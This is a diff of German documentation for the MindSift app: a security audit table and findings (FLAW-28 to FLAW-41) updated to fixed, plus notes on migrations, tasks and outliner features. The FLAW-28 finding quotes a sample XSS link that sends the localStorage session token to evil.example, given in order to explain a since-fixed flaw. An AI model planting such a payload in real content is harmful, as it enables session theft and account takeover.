- Standardwerte in `system_settings` (`INSERT OR IGNORE`): `sharing_mode=organizations`, `allow_registration=false`, `instance_name=MindSift`, SMTP leer.
|
||||
- **Migrationen:** [migrations.go](../internal/storage/migrations.go) führt nummerierte Schritte genau einmal aus und vermerkt sie in `schema_migrations` (`id`, `name`, `applied_at`); `PRAGMA user_version` zeigt die höchste angewandte Nummer. Schritt 3 („Basis-Schema v0.4.1“, `migrateBaseline`) baut das komplette Schema auf und bringt ältere Datenbanken auf diesen Stand; Spalten werden nur angelegt, wenn sie fehlen. Schlägt ein Schritt fehl, bricht der Start mit der Fehlermeldung ab, statt mit halbem Schema weiterzulaufen. Neue Änderungen kommen als neuer Schritt ans Ende, alte Schritte werden nie verändert. Daten werden beim Start nie gelöscht; nur der Demo-Modus leert die Datenbank.
|
||||
- **Migrationen:** [migrations.go](../internal/storage/migrations.go) führt nummerierte Schritte (Migrationen 3 bis 7: 3 „Basis-Schema v0.4.1“, 4 „Sitzungen“, 5 „Medien“, 6 „Link-Vorschauen“, 7 „Benachrichtigungen“) genau einmal aus und vermerkt sie in `schema_migrations` (`id`, `name`, `applied_at`); `PRAGMA user_version` zeigt die höchste angewandte Nummer. Schritt 3 (`migrateBaseline`) baut das Basisschema auf und bringt ältere Datenbanken auf diesen Stand; Spalten werden nur angelegt, wenn sie fehlen. Schlägt ein Schritt fehl, bricht der Start mit der Fehlermeldung ab, statt mit halbem Schema weiterzulaufen. Neue Änderungen kommen als neuer Schritt ans Ende, alte Schritte werden nie verändert. Daten werden beim Start nie gelöscht; nur der Demo-Modus leert die Datenbank.
|
||||
|
||||
## Sicherung
|
||||
|
||||
|
||||
+30
-17
@@ -10,19 +10,19 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
|
||||
|
||||
| ID | Bereich | Kurzbeschreibung | Schwere |
|
||||
|---|---|---|---|
|
||||
| FLAW-28 | Frontend | `javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt | Hoch |
|
||||
| FLAW-29 | Netzwerk | Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`) | Mittel |
|
||||
| FLAW-30 | Konto | Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern | Mittel |
|
||||
| FLAW-31 | Auth | Sitzungs-Token 30 Tage gültig und im `localStorage` | Mittel |
|
||||
| FLAW-32 | Daten | IDs und Einladungscodes haben nur 40 Bit Zufall | Mittel |
|
||||
| FLAW-33 | Demo | Demo-Admin kann Server-Einstellungen ändern (u. a. Webhooks ins lokale Netz) | Mittel |
|
||||
| FLAW-34 | Admin | SMTP-Passwort im Klartext an die Oberfläche, in DB und Datenbank-Backups | Niedrig |
|
||||
| FLAW-35 | Netzwerk | Webhook-Ingest nimmt Sitzungs-Token und Keys auch als `?token=` | Niedrig |
|
||||
| FLAW-36 | Backend | Kein allgemeines Größenlimit für JSON-Anfragen | Niedrig |
|
||||
| FLAW-37 | Datenschutz | Konto löschen entfernt die Server-Backups des Kontos nicht | Niedrig |
|
||||
| FLAW-38 | Betrieb | `WriteTimeout` von 30 s bricht große Downloads ab | Niedrig |
|
||||
| FLAW-39 | Auth | Kein Rate-Limit für Registrierung, Einladungscodes und „Passwort vergessen“ je Adresse | Niedrig |
|
||||
| FLAW-40 | Auth | Einladungscode bei gleichzeitiger Nutzung zweimal einlösbar | Niedrig |
|
||||
| FLAW-28 | Frontend | ~~`javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt~~ | **Behoben** |
|
||||
| FLAW-29 | Netzwerk | ~~Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`)~~ | **Behoben** |
|
||||
| FLAW-30 | Konto | ~~Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern~~ | **Behoben** |
|
||||
| FLAW-31 | Auth | ~~Sitzungs-Token 30 Tage gültig und im `localStorage`~~ | **Teilweise behoben** |
|
||||
| FLAW-32 | Daten | ~~IDs und Einladungscodes haben nur 40 Bit Zufall~~ | **Behoben** |
|
||||
| FLAW-33 | Demo | ~~Öffentliche Demo als Absender missbrauchbar (Alarm-Webhooks, Testmails, Server-Einstellungen)~~ | **Behoben** |
|
||||
| FLAW-34 | Admin | ~~SMTP-Passwort im Klartext an die Oberfläche~~, in DB und Datenbank-Backups | **Teilweise behoben** |
|
||||
| FLAW-35 | Netzwerk | ~~Webhook-Ingest nimmt Sitzungs-Token und Keys auch als `?token=`~~ | **Behoben** |
|
||||
| FLAW-36 | Backend | ~~Kein allgemeines Größenlimit für JSON-Anfragen~~ | **Behoben** |
|
||||
| FLAW-37 | Datenschutz | ~~Konto löschen entfernt die Server-Backups des Kontos nicht~~ | **Behoben** |
|
||||
| FLAW-38 | Betrieb | ~~`WriteTimeout` von 30 s bricht große Downloads ab~~ | **Behoben** |
|
||||
| FLAW-39 | Auth | ~~Kein Rate-Limit für Registrierung, Einladungscodes und „Passwort vergessen“ je Adresse~~ | **Behoben** |
|
||||
| FLAW-40 | Auth | ~~Einladungscode bei gleichzeitiger Nutzung zweimal einlösbar~~ | **Behoben** |
|
||||
| FLAW-41 | Qualität | Sehr große Frontend-Dateien | Niedrig |
|
||||
|
||||
---
|
||||
@@ -30,11 +30,13 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
|
||||
## Details
|
||||
|
||||
### FLAW-28: `javascript:`-Links in Markdown
|
||||
- **Status: Behoben.** `safeHref` ([lib/safeUrl.ts](../frontend/src/lib/safeUrl.ts)) lässt nur `http:`, `https:` und `mailto:` zu und wird von Markdown-Anzeige, Outliner und Impressums-Links genutzt; sonst erscheint der Link als Text. Tests: `safeUrl.test.tsx`.
|
||||
- **Fundstelle:** `renderInline` in [lib/markdown.tsx](../frontend/src/lib/markdown.tsx): `[Text](URL)` wird ungeprüft zu `<a href={url}>`. Verwendet für Aufgaben-Notizen (`TaskDetailModal`) und Impressum/Datenschutz.
|
||||
- **Problem:** `[Rechnung](javascript:fetch('https://evil.example/?t='+localStorage.mindsift_jwt_token))` in den Notizen einer Aufgabe einer geteilten Aufgabenliste läuft beim Klick im Kontext der App. React 18 warnt nur, blockiert aber nicht. Weil das Sitzungs-Token im `localStorage` liegt (FLAW-31), ist das eine Kontoübernahme durch jeden Bearbeiter der Liste. Bullets im Outliner sind nicht betroffen, dort sind nur `http(s)`-Links erlaubt.
|
||||
- **Maßnahme:** Nur `http:`, `https:` und `mailto:` als `href` zulassen, alles andere als Text. Zusätzlich CSP (FLAW-29).
|
||||
|
||||
### FLAW-29: Keine Sicherheits-Header
|
||||
- **Status: Behoben.** [headers.go](../internal/api/headers.go) setzt CSP (`script-src 'self'`, `frame-ancestors 'none'`, `object-src 'none'`, Verbindungen nur zum eigenen Server), `X-Frame-Options: DENY`, `nosniff`, `Referrer-Policy: same-origin`, `Permissions-Policy`. Die beiden Inline-Scripts der Startseite sind in Dateien gewandert; Styles bleiben inline erlaubt (eigene Themes). Mit Chromium und WebKit durch alle Ansichten geprüft: keine CSP-Meldungen.
|
||||
- **Fundstelle:** Router in [server.go](../internal/api/server.go), Auslieferung in [cmd/server/main.go](../cmd/server/main.go).
|
||||
- **Problem:** Es gibt weder `Content-Security-Policy` noch `X-Frame-Options`/`frame-ancestors`, `X-Content-Type-Options: nosniff` oder `Referrer-Policy`. Fremde Seiten können MindSift in einen Frame laden (Clickjacking), und eingeschleustes Script (FLAW-28) wird nicht gebremst.
|
||||
- **Maßnahme:** Header-Middleware: `frame-ancestors 'none'`, `nosniff`, `Referrer-Policy: same-origin`, CSP mit `script-src 'self'` (Inline-Splash-Script per Hash erlauben) und `connect-src 'self'`.
|
||||
@@ -43,56 +45,68 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
|
||||
- **Fundstelle:** `handleUpdateUserSettings` in [handlers_auth.go](../internal/api/handlers_auth.go) (`PATCH /auth/settings` mit `password` bzw. `email`).
|
||||
- **Problem:** Wer eine Sitzung in die Hände bekommt (offener Rechner, gestohlenes Token), setzt ein neues Passwort oder eine neue E-Mail-Adresse und sperrt den Besitzer dauerhaft aus; über die neue Adresse funktioniert dann auch „Passwort vergessen“ für den Angreifer. Konto löschen und Daten löschen verlangen das Passwort bereits (`confirmPassword`).
|
||||
- **Maßnahme:** Für Passwort- und E-Mail-Änderung `currentPassword` verlangen (gleiche Prüfung wie `confirmPassword`), Hinweis-Mail an die alte Adresse.
|
||||
- **Status: Behoben.** `PATCH /auth/settings` verlangt für `password` und `email` das aktuelle Passwort (`checkCurrentPassword`); falsche Eingaben zählen für die Login-Sperre, leere nicht. Ein neues Passwort meldet alle anderen Geräte ab. Mit SMTP geht eine Hinweismail an die bisherige Adresse. Im Profil erscheint das Feld „Aktuelles Passwort“, sobald Passwort oder E-Mail geändert werden. Tests: `TestPasswordChangeNeedsCurrentPassword`.
|
||||
|
||||
### FLAW-31: Langlebige Sitzung im `localStorage`
|
||||
- **Fundstelle:** `GenerateToken` (30 Tage) in [auth.go](../internal/auth/auth.go), `setToken` in [lib/api.ts](../frontend/src/lib/api.ts).
|
||||
- **Problem:** Jedes Script im Kontext der App kann das Token lesen (vgl. FLAW-28); ein gestohlenes Token gilt bis zu 30 Tage. Es gibt keine Übersicht der Sitzungen, nur „Alle Sitzungen beenden“.
|
||||
- **Maßnahme:** Kurzlebiges Zugriffs-Token mit Erneuerung, Sitzungsliste mit Gerät/Zeit und Einzel-Abmelden; mittelfristig HttpOnly-Cookie mit CSRF-Schutz.
|
||||
- **Status: Teilweise behoben.** Serverseitige Sitzungen (`sessions`, [sessions.go](../internal/api/sessions.go)): Jedes Token gehört zu einer Sitzung, die einzeln beendet werden kann und nach 30 Tagen ohne Nutzung endet; das Token wird täglich über `X-Session-Token` erneuert. Profil → „Aktive Sitzungen“ zeigt Gerät, IP und letzte Nutzung mit Einzel-Abmelden. Ein gestohlenes Token lässt sich damit gezielt entwerten. Das Token liegt weiter im `localStorage`; HttpOnly-Cookies sind bewusst zurückgestellt (CSP aus FLAW-29 und FLAW-28 schließen den bekannten Weg). Tests: `TestSessionsListEndAndLogout`, `TestSessionTokenRenewedWhenOld`.
|
||||
|
||||
### FLAW-32: Nur 40 Bit Zufall in IDs
|
||||
- **Fundstelle:** `NewID` in [domain/models.go](../internal/domain/models.go) (5 Zufallsbytes); Einladungscodes `INV-…` in `CreateUserInvite` ([users.go](../internal/storage/users.go)) leiten sich davon ab.
|
||||
- **Problem:** Bei 40 Bit liegt die Wahrscheinlichkeit einer Kollision ab etwa einer Million Datensätze einer Tabelle bei rund 40 % (Geburtstagsproblem); eine Kollision lässt das Anlegen fehlschlagen oder überschreibt bei Upserts. Einladungscodes sind ohne Rate-Limit (FLAW-39) online rate-, aber nicht praktisch erratbar; 40 Bit sind für ein Geheimnis trotzdem zu wenig.
|
||||
- **Maßnahme:** `NewID` auf 12 Bytes (96 Bit) anheben (Spalten sind `TEXT`, alte IDs bleiben gültig); Einladungscodes mit eigenen 16 Zufallsbytes.
|
||||
- **Status: Behoben.** `NewID` nutzt 12 Zufallsbytes, alte IDs bleiben gültig. Einladungscodes haben eigene 100 Bit in Base32 (`INV-ABCDE-FGHIJ-KLMNO-PQRST`, `newInviteCode`); bereits ausgegebene Codes funktionieren weiter.
|
||||
|
||||
### FLAW-33: Demo-Admin darf Server-Einstellungen ändern
|
||||
### FLAW-33: Öffentliche Demo als Absender missbrauchbar
|
||||
- **Fundstelle:** Admin-Routen in [server.go](../internal/api/server.go); Demo-Konto `admin/admin` ([users.go](../internal/storage/users.go)).
|
||||
- **Problem:** Auf einer öffentlichen Demo meldet sich jeder als Admin an. Er kann „Alarm-Webhooks ins lokale Netz erlauben“ einschalten und Alarme an Adressen im Netz des Demo-Hosts schicken lassen (SSRF), SMTP-Zugangsdaten lesen und ändern, Organisationen und Konten umbauen. Der 20-Minuten-Reset setzt das zurück, aber nicht rechtzeitig.
|
||||
- **Maßnahme:** Im Demo-Modus Server-Einstellungen (SMTP, Webhook-Freigabe, Backups) schreibgeschützt; private Webhook-Ziele im Demo-Modus immer gesperrt.
|
||||
- **Ausgehende Anfragen:** Auch ohne Admin-Rechte kann jeder Demo-Besucher eine Discord- oder eigene Webhook-URL hinterlegen und über „Alarm testen“ beliebig oft Anfragen an fremde öffentliche Adressen schicken lassen; Fälligkeits-Alarme tun dasselbe zeitgesteuert. Die Demo wird so zum Absender für Spam (z. B. in fremde Discord-Kanäle) oder für Anfragen an Dritte, und zwar von der IP-Adresse des Demo-Servers. Ist in der Demo SMTP eingerichtet, gilt das ebenso für Mails an beliebige Adressen.
|
||||
- **Maßnahme:** Im Demo-Modus alle ausgehenden Kanäle aus: keine Alarm-Webhooks, kein Discord, keine Alarm- und Testmails, „Alarm testen“ und der SMTP-Test antworten mit einem Hinweis; die Oberfläche zeigt „In der Demo deaktiviert“. Server-Einstellungen (SMTP, Webhook-Freigabe, Backups) schreibgeschützt. Eingehende Webhooks (API-Keys) bleiben erlaubt, sie schreiben nur in die Demo-Datenbank.
|
||||
- **Status: Behoben.** Im Demo-Modus verweigern die Sender für Mail, Discord und Webhooks (`errDemoOutgoing`), der Alarm-Ticker läuft nicht. `notInDemo` ([demo.go](../internal/api/demo.go)) beantwortet mit `403` „In der Demo deaktiviert“: Test-Alarm, SMTP-Test, Server-Einstellungen speichern, Backup starten, Konten anlegen/ändern/löschen, Passwort-Reset durch Admins, „Alle Sitzungen beenden“, einzelne Geräte abmelden, eigenes Konto löschen; Passwort und E-Mail sind im Profil gesperrt. Weil sich alle Besucher die Demo-Konten teilen, zeigt die Sitzungsliste nur das eigene Gerät. Die Oberfläche zeigt die Hinweise und deaktiviert die Schalter. Test: `TestDemoSendsNothingAndKeepsAccounts`.
|
||||
|
||||
### FLAW-34: SMTP-Passwort im Klartext
|
||||
- **Fundstelle:** `handleAdminGetSettings` ([handlers_admin.go](../internal/api/handlers_admin.go)) liefert `smtpPass` aus; Speicherung in `system_settings`.
|
||||
- **Problem:** Das Passwort erscheint in der Admin-Oberfläche, im Browser-Cache der Antwort (Offline-Lese-Cache) und in jedem Datenbank-Backup.
|
||||
- **Maßnahme:** Nie zurückliefern (nur „gesetzt“ anzeigen, leer = unverändert); optional per `SMTP_PASS`-Umgebungsvariable statt Datenbank.
|
||||
- **Status: Teilweise behoben.** `GET`/`PUT /admin/settings` liefern `smtpPass` immer leer und `smtpPassSet`; ein leeres Feld behält das gespeicherte Passwort, ohne SMTP-Benutzer wird es entfernt. In der Datenbank und ihren Abzügen steht es weiter im Klartext (der Server braucht es zum Anmelden); wer das nicht will, setzt `SMTP_HOST`/`SMTP_PASS` per Umgebung und lässt die Felder im Admin-UI leer. Test: `TestSMTPPasswordNeverReturned`.
|
||||
|
||||
### FLAW-35: `?token=` beim Webhook-Ingest
|
||||
- **Fundstelle:** `handleWebhookIngest` in [handlers_integrations.go](../internal/api/handlers_integrations.go).
|
||||
- **Problem:** Neben `X-API-Key` wird das Token weiterhin aus der URL gelesen, auch ein Sitzungs-Token. Es landet in Proxy- und Zugriffslogs; eine Sitzung in der URL ist ein vollwertiges Login.
|
||||
- **Maßnahme:** In der URL nur noch API-Keys annehmen (für Geräte, die keine Header setzen können), keine Sitzungs-Tokens; Doku weist bereits auf den Header hin.
|
||||
- **Status: Behoben.** `?token=` nimmt nur noch `mindsift_sec_…` an, sonst `401`. Test: `TestWebhookTokenInURLOnlyAPIKey`.
|
||||
|
||||
### FLAW-36: Kein allgemeines Größenlimit für Anfragen
|
||||
- **Fundstelle:** 46 Stellen `json.NewDecoder(r.Body)` ohne `http.MaxBytesReader` in `internal/api/` (Ausnahmen: Import, Themes, Sync, Passwort-Reset).
|
||||
- **Problem:** Ein angemeldeter Nutzer oder ein API-Key kann sehr große Körper schicken und Speicher binden.
|
||||
- **Maßnahme:** Middleware mit Standardlimit (z. B. 2 MB), größere Grenzen nur für Import/Sync.
|
||||
- **Status: Behoben.** `bodyLimit` ([bodylimit.go](../internal/api/bodylimit.go)) begrenzt jeden Anfragekörper auf 2 MB; Notiz-Sync 8 MB, Importe 101 MB. Test: `TestRequestBodyLimited`.
|
||||
|
||||
### FLAW-37: Server-Backups überleben das gelöschte Konto
|
||||
- **Fundstelle:** `DeleteOwnAccount` / `handleAdminDeleteUser` und `backups/users/<id>/` ([backups.go](../internal/api/backups.go)).
|
||||
- **Problem:** Nach dem Löschen eines Kontos bleiben seine Backups bis zum Ablauf der Aufbewahrung liegen (Datenschutz, „Recht auf Löschung“). Datenbank-Abzüge enthalten das Konto ebenfalls bis zum Ablauf.
|
||||
- **Maßnahme:** Beim Löschen eines Kontos `backups/users/<id>/` mitlöschen; Aufbewahrung der DB-Abzüge in der Datenschutzerklärung nennen.
|
||||
- **Status: Behoben.** Konto löschen (selbst oder durch Admins) entfernt `backups/users/<id>/` (`removeUserBackups`, nur dieser eine Ordner). Die Datenbank-Abzüge enthalten das Konto bis zum Ablauf der Aufbewahrung; das gehört in die Datenschutzerklärung der jeweiligen Instanz. Test: `TestDeletedAccountLosesServerBackups`.
|
||||
|
||||
### FLAW-38: Große Downloads brechen nach 30 s ab
|
||||
- **Fundstelle:** `WriteTimeout: 30 * time.Second` in [cmd/server/main.go](../cmd/server/main.go); betroffen: Markdown-Archiv, ZIP-Backup, Datenbank-Abzug (`http.ServeFile`).
|
||||
- **Problem:** Bei langsamer Verbindung oder großem Abzug endet der Download unvollständig (Streams heben die Grenze bereits pro Antwort auf, Downloads nicht).
|
||||
- **Maßnahme:** Für Download-Handler die Schreibfrist per `http.ResponseController` verlängern, wie bei SSE.
|
||||
- **Status: Behoben.** `allowLongTransfer` gibt Backup-Downloads, Exporten (JSON/ZIP, Markdown-Archiv) und Import-Uploads 30 Minuten Lese- und Schreibzeit; vorher brachen auch große Importe nach 15 s Lesezeit ab.
|
||||
|
||||
### FLAW-39: Kein Rate-Limit außerhalb des Logins
|
||||
- **Fundstelle:** `handleRegister`, `handleForgotPassword` (Sperre nur je Konto), Einladungscode-Prüfung.
|
||||
- **Problem:** Massenhaftes Anlegen von Konten (bei offener Registrierung), Durchprobieren von Einladungscodes und Mail-Flut über „Passwort vergessen“ an viele Adressen sind nicht gebremst.
|
||||
- **Maßnahme:** Den vorhandenen `loginGuard` um Töpfe pro Adresse für diese Endpunkte erweitern.
|
||||
- **Status: Behoben.** `loginGuard.throttle` zählt jede Anfrage pro Adresse: Registrierung (und damit Einladungscode-Versuche) 20, „Passwort vergessen“ 10 je 15 Minuten, danach `429` mit `Retry-After`. Gilt nicht für Anfragen ohne bekannte Client-Adresse; `LOGIN_PROTECTION=false` schaltet es mit ab. Tests: `TestRegisterThrottledPerAddress`, `TestThrottleWindowAndSwitch`.
|
||||
|
||||
### FLAW-40: Einladungscode doppelt einlösbar
|
||||
- **Fundstelle:** `handleRegister`: `GetUserInviteByCode` → Konto anlegen → `MarkUserInviteUsed`.
|
||||
- **Problem:** Zwei gleichzeitige Registrierungen mit demselben Code kommen beide durch.
|
||||
- **Maßnahme:** Code in einer Transaktion bzw. per `UPDATE … WHERE used_by = ''` beanspruchen, bevor das Konto entsteht.
|
||||
- **Status: Behoben.** `ClaimUserInvite` beansprucht den Code per `UPDATE … WHERE used_by = ''` vor dem Anlegen des Kontos; scheitert das Konto (Adresse vergeben), gibt `ReleaseUserInvite` ihn wieder frei. Tests: `TestInviteCodeRedeemedOnlyOnce`, `TestInviteReleasedWhenAccountFails`.
|
||||
|
||||
### FLAW-41: Sehr große Frontend-Dateien
|
||||
- **Fundstelle:** `WorkspaceView.tsx` (≈ 2.300 Zeilen), `TasksView.tsx` (≈ 2.500), `lib/api.ts` (≈ 1.700).
|
||||
@@ -117,7 +131,7 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
|
||||
|
||||
### Notizen
|
||||
- **Versionsverlauf ansehen und zurückholen:** das Operations-Log (`doc_ops`) ist vorhanden, eine Ansicht fehlt.
|
||||
- **Bilder und Anhänge** in Notizen.
|
||||
- ~~**Bilder und Anhänge** in Notizen.~~ (Umgesetzt in v0.7.0 mit `/image`, `/audio` und Medienablage).
|
||||
- **Vorlagen und Tagesnotiz** (z. B. „Wochenrückblick“, „Heute“).
|
||||
- **Öffentlicher Lese-Link** für einzelne Notizen, mit Ablaufdatum.
|
||||
- **Verlinkungs-Graph** auf Basis der Backlinks.
|
||||
@@ -128,7 +142,6 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
|
||||
|
||||
### Konto & Sicherheit
|
||||
- **Zwei-Faktor-Anmeldung** (TOTP) oder **Passkeys**.
|
||||
- **Sitzungsübersicht** mit Einzel-Abmelden (siehe FLAW-31).
|
||||
- **Anmeldung über OIDC** (Authelia, Authentik, Keycloak) für Homelab-Setups.
|
||||
- **Admin-Protokoll:** wer hat wann Konten, Rollen und Einstellungen geändert.
|
||||
|
||||
|
||||
@@ -25,7 +25,7 @@ Eine Aufgabe ist ein `thought` ([database.md](../database.md)) mit `kanbanStatus
|
||||
- Gespeichert in `task_assignees`; `PATCH /thoughts/{id}` mit `assignees` ersetzt die Liste. Der Server lehnt Personen ohne Zugriff ab (`403`, `storage.ErrAssigneeNoAccess`).
|
||||
- **Zuweisungen folgen den Rechten:** `Store.PruneTaskAssignees` entfernt jede Zuweisung, deren Person die Liste nicht mehr sehen kann. Es läuft nach Entfernen einer Freigabe, Austritt aus oder Entfernen aus einer Gruppe, Löschen einer Gruppe, Löschen der Liste und Verschieben der Aufgabe in eine andere oder keine Liste; beim Löschen eines Kontos werden dessen Zuweisungen direkt gelöscht. Wer über einen zweiten Weg (z. B. direkt und über eine Gruppe) weiter Zugriff hat, bleibt zugewiesen.
|
||||
- Wer sehen und zuweisen kann, hängt außerdem von der Sichtbarkeit ab: Verliert jemand sie (z. B. Wechsel der Organisation), fallen Freigabe und Zuweisungen weg ([sharing-and-permissions.md](../sharing-and-permissions.md)).
|
||||
- Bekannte Lücke: (Umsortieren per ID).
|
||||
- **Aufgaben beobachten (`task_watchers`):** Im Detail-Fenster lässt sich eine Aufgabe über „Beobachten“ abonnieren (`POST /tasks/{id}/watch`, `DELETE /tasks/{id}/watch`). Jede Änderung an einer beobachteten Aufgabe wird dem Beobachter über seine konfigurierten Benachrichtigungskanäle gemeldet.
|
||||
|
||||
## Wiederkehrende Aufgaben
|
||||
|
||||
@@ -46,7 +46,7 @@ Der Ticker läuft jede Minute ([architecture.md](../architecture.md)). Für offe
|
||||
| Discord | Webhook-URL | Benutzereinstellungen |
|
||||
| Webhook | beliebige URL (JSON: `event`, `title`, `notes`, `dueDate`, `priority`, `timestamp`) | Benutzereinstellungen |
|
||||
|
||||
Danach wird `alarm_sent = 1` gesetzt, sobald mindestens ein Kanal erfolgreich war.
|
||||
Danach wird `alarm_sent = 1` gesetzt, sobald mindestens ein Kanal erfolgreich war. Neben Fälligkeits-Alarmen (die sofort versendet werden) unterstützt MindSift granulare Benachrichtigungen für Freigaben, erledigte geteilte Aufgaben und beobachtete Aufgaben, die über `notification_queue` gebündelt nach `NOTIFY_DIGEST_MINUTES` versendet werden ([architecture.md](../architecture.md#benachrichtigungen)).
|
||||
|
||||
**E-Mail-Versand** ([mail.go](../../internal/api/mail.go)) führt den SMTP-Dialog Schritt für Schritt:
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@ Ziel: Gedanken in Sekunden festhalten und später in Ruhe sortieren. Code: [Inst
|
||||
|
||||
- Die Eingabeleiste sitzt im Header; `C` oder `/` fokussiert sie (außer beim Tippen in einem Feld).
|
||||
- Ziel (`target`): **Posteingang** (`inbox`, Standard), **Direkt-Aufgabe** (`task`), **Listeneintrag** (`list_item`, mit Zielliste) oder **Direkt-Notiz** (`document`).
|
||||
- Mehrzeilige Eingabe wird unterstützt. Spracheingabe nutzt die Web Speech API des Browsers; Quelle `voice` fügt den Tag `#diktat` an.
|
||||
- Mehrzeilige Eingabe wird unterstützt. Spracheingabe nutzt `useVoiceInput` (Whisper-Server oder Spracherkennung des Browsers); Quelle `voice` fügt den Tag `#diktat` an.
|
||||
- Quelle `webhook` (per API-Key/Webhook) fügt den Tag `#webhook` an. Hashtags im Text werden als Tags extrahiert (`domain.ExtractTags`).
|
||||
- Per API: `POST /inbox` und `POST /webhooks/ingest` (siehe [rest.md](../api/rest.md)).
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Modul: Workspace (Outliner-Notizen)
|
||||
|
||||
Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.tsx) (Explorer, Tags, To-Do-Rollup), [DocumentEditor.tsx](../../frontend/src/features/workspace/DocumentEditor.tsx), [OutlinerTree.tsx](../../frontend/src/features/workspace/OutlinerTree.tsx), [OutlinerBlock.tsx](../../frontend/src/features/workspace/OutlinerBlock.tsx), [CodeBlockItem.tsx](../../frontend/src/features/workspace/CodeBlockItem.tsx), [LinkModal.tsx](../../frontend/src/features/workspace/LinkModal.tsx); Backend: Dokument-, Ordner- und Tag-Handler, Sync-Handler in `internal/api/docsync.go`, `internal/collab`, `internal/storage/docsync.go`.
|
||||
Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.tsx) (Explorer, Tags, To-Do-Rollup), [DocumentEditor.tsx](../../frontend/src/features/workspace/DocumentEditor.tsx), [OutlinerTree.tsx](../../frontend/src/features/workspace/OutlinerTree.tsx), [OutlinerBlock.tsx](../../frontend/src/features/workspace/OutlinerBlock.tsx), [CodeBlockEditor.tsx](../../frontend/src/features/workspace/CodeBlockEditor.tsx), [LinkModal.tsx](../../frontend/src/features/workspace/LinkModal.tsx); Backend: Dokument-, Ordner- und Tag-Handler, Sync-Handler in `internal/api/docsync.go`, `internal/collab`, `internal/storage/docsync.go`.
|
||||
|
||||
## Datenhaltung
|
||||
|
||||
@@ -15,7 +15,10 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
|
||||
- **Outliner:** `Enter` neuer Block, `Tab`/`Shift+Tab` ein-/ausrücken, `Shift+Enter` weicher Umbruch, Blöcke ein-/ausklappen.
|
||||
- **Zoom (Hoisting):** Klick auf den Bullet fokussiert den Ast; die Breadcrumb-Leiste führt zurück.
|
||||
- **Drag & Drop** verschiebt Blöcke samt Unterästen; auf einen anderen Block gezogen, wird der Block zum Unterpunkt.
|
||||
- **Slash-Befehle:** `/todo`, `/link`, `/h1`, `/h2`, `/h3`, `/code`, `/callout`, `/divider` (Liste in `OutlinerBlock.tsx`).
|
||||
- **Slash-Befehle:** `/todo`, `/link`, `/h1`, `/h2`, `/h3`, `/code` (mit Syntax-Highlighting im VS-Code-Stil), `/callout`, `/divider`, `/extract` (Ast als eigene Notiz auslagern), `/image` (Bilder einfügen/hochladen, Aliase `/bild`, `/foto`), `/audio` (Sprachnotiz/Audiodatei, Alias `/sprachnotiz`), `/diktat` (Spracheingabe mit Live-Mitschreiben, Alias `/dictate`) (Liste in `OutlinerBlock.tsx`). Das Menü öffnet sich nur am Textanfang oder nach einem Leerzeichen und schließt mit `Esc` oder `Backspace`.
|
||||
- **Link-Vorschau:** Besteht ein Bulletpoint ausschließlich aus einer einzelnen `https`-Adresse (oder wurde über `/link` in einem leeren Punkt eingefügt), zeigt MindSift darüber eine interaktive Vorschaukarte (`LinkPreviewCard`, serverseitig via `/link-preview`). ✕ blendet die Karte aus und wandelt die Adresse synchronisiert in `[Titel](url)` um.
|
||||
- **Ast auslagern (`/extract`):** Wandelt den aktuellen Punkt samt Unterpunkten in eine eigenständige Notiz im selben Ordner um. Der Server legt die Notiz an und liefert den Link zurück; der Editor ersetzt den Ast lokal über die Sync-Engine als eigene Operation (Strg+Z nimmt die Auslagerung zurück und legt die neue Notiz via `POST /documents/{id}/extract/undo` in den Papierkorb).
|
||||
- **Notizen zusammenführen (Merge):** Per Drag & Drop einer Notiz auf eine andere in der Seitenleiste oder über das Drei-Punkte-Menü im Notizkopf („Mit anderer Notiz zusammenführen…“). Die eigene Quellnotiz wird als `h2`-Abschnitt angehängt und in den Papierkorb verschoben; der Hinweis bietet vollständiges Rückgängigmachen (`POST /documents/{id}/merge/undo`).
|
||||
- **Rückverweise:** Unter jeder Notiz listet „Verlinkt auf diese Notiz (n)“ alle Notizen mit `[[Titel]]` (auch `[[Titel|Text]]`, `[[Titel#Abschnitt]]`, Groß-/Kleinschreibung egal) samt Fundstelle; ein Klick springt direkt zum Bullet. Ohne Rückverweise bleibt der Bereich unsichtbar, eingeklappt merkt er sich im Browser ([BacklinksSection.tsx](../../frontend/src/features/workspace/BacklinksSection.tsx), `GET /documents/{id}/backlinks`).
|
||||
- **Links:** `[[Notiztitel]]`, Markdown-Links `[Titel](url)` und reine URLs werden als Token dargestellt; `LinkModal` hilft beim Verknüpfen von Notizen.
|
||||
- **Einfügen:** Mehrzeiliger Text wird anhand von Markdown-Präfixen und Einrückung in Blöcke zerlegt; Überschriften gruppieren darunterliegenden Text und Code.
|
||||
@@ -51,13 +54,13 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
|
||||
|
||||
## Freigabe
|
||||
|
||||
- Einzelne Notizen und ganze **geteilte Ordner** lassen sich an Benutzer oder Gruppen geben. Empfänger haben **nur Leserechte**; nur der Eigentümer schreibt ([sharing-and-permissions.md](../sharing-and-permissions.md)).
|
||||
- Einzelne Notizen und ganze **geteilte Ordner** lassen sich an Benutzer oder Gruppen freigeben – wahlweise mit der Rolle **Bearbeiter** (`write`) oder **Leser** (`read`) ([sharing-and-permissions.md](../sharing-and-permissions.md)). Bearbeiter ändern Inhalt und Struktur über die Sync-Engine; Leser sehen Änderungen live.
|
||||
